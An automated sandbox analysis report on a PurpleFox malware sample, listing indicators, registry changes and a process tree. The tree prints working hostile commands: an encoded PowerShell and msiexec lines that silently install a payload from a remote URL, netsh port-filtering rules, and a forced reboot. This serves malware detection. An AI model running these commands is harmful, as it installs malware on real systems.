purplefox | 50fa244bace65606484686c0468c38c07cacf8d51dd4be774e231dc94b63371c

Analysis

max time kernel
138s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
10-07-2023 13:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Res/tvp.exe
Size

228KB
MD5

de2052aae5a5915d09d9d1ede714865c
SHA1

2161a471b598ea002fc2a1cc4b65dbb8da14a88e
SHA256

1d3f51b33070b5b8f11c891bb160f5f737151f3a36c2e24f96c2844b089a5294
SHA512

914eb403bc0662266e9b00f52da192463ae782c301be5279579fe88924451fa8b38a9cc9e689499ae7240259e7c03310980f06a5f7cd1b90bda0b3948fb5d1b3
SSDEEP

3072:0QUurm/I/Pc1fsrHxbGL+9QD2pkIanLqf0bAadkp2guonxKzjMMDE0BB6p2wkLqj:lRrXECWDianeuonmRankL

Score

10^/10

purplefox discovery evasion rootkit trojan

Malware Config

Signatures

Detect PurpleFox MSI 1 IoCs

Detect PurpleFox MSI.

rootkit

Processes:

resource	yara_rule
C:\Windows\Installer\MSI8EFC.tmp	purplefox_msi

PurpleFox
PurpleFox is an exploit kit used to distribute other malware families and first seen in 2018.
rootkit trojan purplefox
Blocklisted process makes network request 2 IoCs

Processes:

msiexec.exe

flow pid process

14 3024 msiexec.exe
16 3024 msiexec.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Loads dropped DLL 5 IoCs

Processes:

MsiExec.exe

pid process

3276 MsiExec.exe
3276 MsiExec.exe
3276 MsiExec.exe
3276 MsiExec.exe
3276 MsiExec.exe
Modifies file permissions 1 TTPs 6 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exe

pid process

3816 takeown.exe
4340 takeown.exe
3464 takeown.exe
4448 takeown.exe
2452 takeown.exe
2332 takeown.exe
Use of msiexec (install) with remote resource 3 IoCs

Processes:

msiexec.exemsiexec.exemsiexec.exe

pid process

1352 msiexec.exe
228 msiexec.exe
3628 msiexec.exe

flow	pid	process
14	3024	msiexec.exe
16	3024	msiexec.exe

pid	process
3276	MsiExec.exe
3276	MsiExec.exe
3276	MsiExec.exe
3276	MsiExec.exe
3276	MsiExec.exe

pid	process
3816	takeown.exe
4340	takeown.exe
3464	takeown.exe
4448	takeown.exe
2452	takeown.exe
2332	takeown.exe

pid	process
1352	msiexec.exe
228	msiexec.exe
3628	msiexec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exe

description	ioc	process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in Windows directory 12 IoCs

Processes:

msiexec.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\MSI8EFC.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI94E9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI971E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\.xml	msiexec.exe
File created	C:\Windows\dbcode86mk.log	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9651.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI97CA.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9868.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI99D0.tmp	msiexec.exe

Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exe

pid process

3020 sc.exe
1404 sc.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

5100 4192 WerFault.exe tvp.exe

pid	process
3020	sc.exe
1404	sc.exe

pid	pid_target	process	target process
5100	4192	WerFault.exe	tvp.exe

Modifies data under HKEY_USERS 51 IoCs

Processes:

powershell.exeMsiExec.exemsiexec.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script\Settings	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1f	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script\Settings\JITDebug = "0"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe

Modifies registry class 10 IoCs

Processes:

tvp.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.dvd\shell\open\command	tvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.dvd\shell	tvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.file\shell	tvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.file	tvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.file\shell\open	tvp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.file\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Res\\tvp.exe %1"	tvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.dvd	tvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.dvd\shell\open	tvp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.dvd\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Res\\tvp.exe -dvd %1"	tvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\totalplayer.file\shell\open\command	tvp.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

PowerShell.exepowershell.exepowershell.exepowershell.exemsiexec.exepowershell.exe

pid	process
3416	PowerShell.exe
3416	PowerShell.exe
3624	powershell.exe
3928	powershell.exe
4624	powershell.exe
4624	powershell.exe
3624	powershell.exe
3928	powershell.exe
3024	msiexec.exe
3024	msiexec.exe
4840	powershell.exe
4840	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

PowerShell.exepowershell.exepowershell.exepowershell.exemsiexec.exemsiexec.exemsiexec.exemsiexec.exe

description	pid	process
Token: SeDebugPrivilege	3416	PowerShell.exe
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeDebugPrivilege	3928	powershell.exe
Token: SeDebugPrivilege	4624	powershell.exe
Token: SeShutdownPrivilege	1352	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1352	msiexec.exe
Token: SeShutdownPrivilege	228	msiexec.exe
Token: SeIncreaseQuotaPrivilege	228	msiexec.exe
Token: SeSecurityPrivilege	3024	msiexec.exe
Token: SeShutdownPrivilege	3628	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3628	msiexec.exe
Token: SeCreateTokenPrivilege	1352	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1352	msiexec.exe
Token: SeLockMemoryPrivilege	1352	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1352	msiexec.exe
Token: SeMachineAccountPrivilege	1352	msiexec.exe
Token: SeTcbPrivilege	1352	msiexec.exe
Token: SeSecurityPrivilege	1352	msiexec.exe
Token: SeTakeOwnershipPrivilege	1352	msiexec.exe
Token: SeLoadDriverPrivilege	1352	msiexec.exe
Token: SeSystemProfilePrivilege	1352	msiexec.exe
Token: SeSystemtimePrivilege	1352	msiexec.exe
Token: SeProfSingleProcessPrivilege	1352	msiexec.exe
Token: SeIncBasePriorityPrivilege	1352	msiexec.exe
Token: SeCreatePagefilePrivilege	1352	msiexec.exe
Token: SeCreatePermanentPrivilege	1352	msiexec.exe
Token: SeBackupPrivilege	1352	msiexec.exe
Token: SeRestorePrivilege	1352	msiexec.exe
Token: SeShutdownPrivilege	1352	msiexec.exe
Token: SeDebugPrivilege	1352	msiexec.exe
Token: SeAuditPrivilege	1352	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1352	msiexec.exe
Token: SeChangeNotifyPrivilege	1352	msiexec.exe
Token: SeRemoteShutdownPrivilege	1352	msiexec.exe
Token: SeUndockPrivilege	1352	msiexec.exe
Token: SeSyncAgentPrivilege	1352	msiexec.exe
Token: SeEnableDelegationPrivilege	1352	msiexec.exe
Token: SeManageVolumePrivilege	1352	msiexec.exe
Token: SeImpersonatePrivilege	1352	msiexec.exe
Token: SeCreateGlobalPrivilege	1352	msiexec.exe
Token: SeRestorePrivilege	3024	msiexec.exe
Token: SeTakeOwnershipPrivilege	3024	msiexec.exe
Token: SeRestorePrivilege	3024	msiexec.exe
Token: SeTakeOwnershipPrivilege	3024	msiexec.exe
Token: SeRestorePrivilege	3024	msiexec.exe
Token: SeTakeOwnershipPrivilege	3024	msiexec.exe
Token: SeRestorePrivilege	3024	msiexec.exe
Token: SeTakeOwnershipPrivilege	3024	msiexec.exe
Token: SeRestorePrivilege	3024	msiexec.exe
Token: SeTakeOwnershipPrivilege	3024	msiexec.exe
Token: SeRestorePrivilege	3024	msiexec.exe
Token: SeTakeOwnershipPrivilege	3024	msiexec.exe
Token: SeCreateTokenPrivilege	228	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	228	msiexec.exe
Token: SeLockMemoryPrivilege	228	msiexec.exe
Token: SeIncreaseQuotaPrivilege	228	msiexec.exe
Token: SeMachineAccountPrivilege	228	msiexec.exe
Token: SeTcbPrivilege	228	msiexec.exe
Token: SeSecurityPrivilege	228	msiexec.exe
Token: SeTakeOwnershipPrivilege	228	msiexec.exe
Token: SeLoadDriverPrivilege	228	msiexec.exe
Token: SeSystemProfilePrivilege	228	msiexec.exe
Token: SeSystemtimePrivilege	228	msiexec.exe
Token: SeProfSingleProcessPrivilege	228	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

tvp.exe

pid process

4192 tvp.exe
4192 tvp.exe
4192 tvp.exe

pid	process
4192	tvp.exe
4192	tvp.exe
4192	tvp.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

tvp.exePowerShell.exepowershell.exepowershell.exepowershell.exemsiexec.exeMsiExec.exe

description	pid	process	target process
PID 4192 wrote to memory of 3416	4192	tvp.exe	PowerShell.exe
PID 4192 wrote to memory of 3416	4192	tvp.exe	PowerShell.exe
PID 4192 wrote to memory of 3416	4192	tvp.exe	PowerShell.exe
PID 3416 wrote to memory of 3624	3416	PowerShell.exe	powershell.exe
PID 3416 wrote to memory of 3624	3416	PowerShell.exe	powershell.exe
PID 3416 wrote to memory of 3624	3416	PowerShell.exe	powershell.exe
PID 3416 wrote to memory of 3928	3416	PowerShell.exe	powershell.exe
PID 3416 wrote to memory of 3928	3416	PowerShell.exe	powershell.exe
PID 3416 wrote to memory of 3928	3416	PowerShell.exe	powershell.exe
PID 3416 wrote to memory of 4624	3416	PowerShell.exe	powershell.exe
PID 3416 wrote to memory of 4624	3416	PowerShell.exe	powershell.exe
PID 3416 wrote to memory of 4624	3416	PowerShell.exe	powershell.exe
PID 4624 wrote to memory of 1352	4624	powershell.exe	msiexec.exe
PID 4624 wrote to memory of 1352	4624	powershell.exe	msiexec.exe
PID 4624 wrote to memory of 1352	4624	powershell.exe	msiexec.exe
PID 3624 wrote to memory of 228	3624	powershell.exe	msiexec.exe
PID 3624 wrote to memory of 228	3624	powershell.exe	msiexec.exe
PID 3624 wrote to memory of 228	3624	powershell.exe	msiexec.exe
PID 3928 wrote to memory of 3628	3928	powershell.exe	msiexec.exe
PID 3928 wrote to memory of 3628	3928	powershell.exe	msiexec.exe
PID 3928 wrote to memory of 3628	3928	powershell.exe	msiexec.exe
PID 3024 wrote to memory of 3276	3024	msiexec.exe	MsiExec.exe
PID 3024 wrote to memory of 3276	3024	msiexec.exe	MsiExec.exe
PID 3024 wrote to memory of 3276	3024	msiexec.exe	MsiExec.exe
PID 3024 wrote to memory of 3956	3024	msiexec.exe	MsiExec.exe
PID 3024 wrote to memory of 3956	3024	msiexec.exe	MsiExec.exe
PID 3024 wrote to memory of 3956	3024	msiexec.exe	MsiExec.exe
PID 3956 wrote to memory of 1124	3956	MsiExec.exe	powercfg.exe
PID 3956 wrote to memory of 1124	3956	MsiExec.exe	powercfg.exe
PID 3956 wrote to memory of 1124	3956	MsiExec.exe	powercfg.exe
PID 3956 wrote to memory of 4840	3956	MsiExec.exe	powershell.exe
PID 3956 wrote to memory of 4840	3956	MsiExec.exe	powershell.exe
PID 3956 wrote to memory of 4840	3956	MsiExec.exe	powershell.exe
PID 3956 wrote to memory of 4084	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 4084	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 4084	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 4672	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 4672	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 4672	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 2812	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 2812	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 2812	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 4800	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 4800	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 4800	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 4508	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 4508	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 4508	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 448	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 448	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 448	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 2404	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 2404	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 2404	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 4952	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 4952	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 4952	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 3692	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 3692	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 3692	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 1048	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 1048	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 1048	3956	MsiExec.exe	netsh.exe
PID 3956 wrote to memory of 384	3956	MsiExec.exe	netsh.exe

C:\Users\Admin\AppData\Local\Temp\Res\tvp.exe
"C:\Users\Admin\AppData\Local\Temp\Res\tvp.exe"
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4192
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4192 -s 652
  2⤵
  - Program crash
  PID:5100
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
  PowerShell -nop -exec bypass -w Hidden -Enc DQAKAGYAbwByACgAJABpAD0AMQA7ACQAaQAgAC0AbABlACAAMwA7ACQAaQArACsAKQANAAoAewANAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFYAZQByAGIAIAByAHUAbgBBAHMAIAAnAG0AcwBpAGUAeABlAGMAIAAvAGkAIABoAHQAdABwADoALwAvAHIAYQB3AC4AZwBpAHQAaABhAGMAawAuAGMAbwBtAC8AbQBuAHcATwBEAEIAcAB0AEsANgBqAFUALwA2ADIAOABmAHIAQQBMAHQAQQBjAG0ATwAvAG0AYQBpAG4ALwBsAG8AdgBlAC4AagBwAGcAIAAvAHEAJwANAAoAfQANAAoA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3416
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" msiexec /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3624
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
      4⤵
      Use of msiexec (install) with remote resource
      Suspicious use of AdjustPrivilegeToken
      PID:228
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" msiexec /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3928
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
      4⤵
      Use of msiexec (install) with remote resource
      Suspicious use of AdjustPrivilegeToken
      PID:3628
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" msiexec /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4624
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
      4⤵
      Use of msiexec (install) with remote resource
      Suspicious use of AdjustPrivilegeToken
      PID:1352

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4192 -ip 4192
1⤵
PID:4640

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D8E9837A82B0A38B030B0AF25DB2C64A
  2⤵
  - Loads dropped DLL
  PID:3276
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 5454F930CECF1335E65D0BBC1D7F4AA6 E Global\MSI0000
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\SysWOW64\powercfg.exe
    "C:\Windows\SysWOW64\powercfg.exe" /S 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
    3⤵
    PID:1124
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -Seconds 900; Restart-Computer -Force
    3⤵
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:4840
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add policy name=qianye
    3⤵
    PID:4084
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filterlist name=Filter1
    3⤵
    PID:4672
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
    3⤵
    PID:2812
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
    3⤵
    PID:4800
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
    3⤵
    PID:4508
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP
    3⤵
    PID:448
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP
    3⤵
    PID:2404
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP
    3⤵
    PID:4952
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=2222 protocol=TCP
    3⤵
    PID:3692
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=3333 protocol=TCP
    3⤵
    PID:1048
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=4444 protocol=TCP
    3⤵
    PID:384
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=5555 protocol=TCP
    3⤵
    PID:1556
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=6666 protocol=TCP
    3⤵
    PID:2432
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=7777 protocol=TCP
    3⤵
    PID:3240
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=8888 protocol=TCP
    3⤵
    PID:4692
- - C:\Windows\SysWOW64\netsh.exe
    "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9000 protocol=TCP
    3⤵
    PID:836
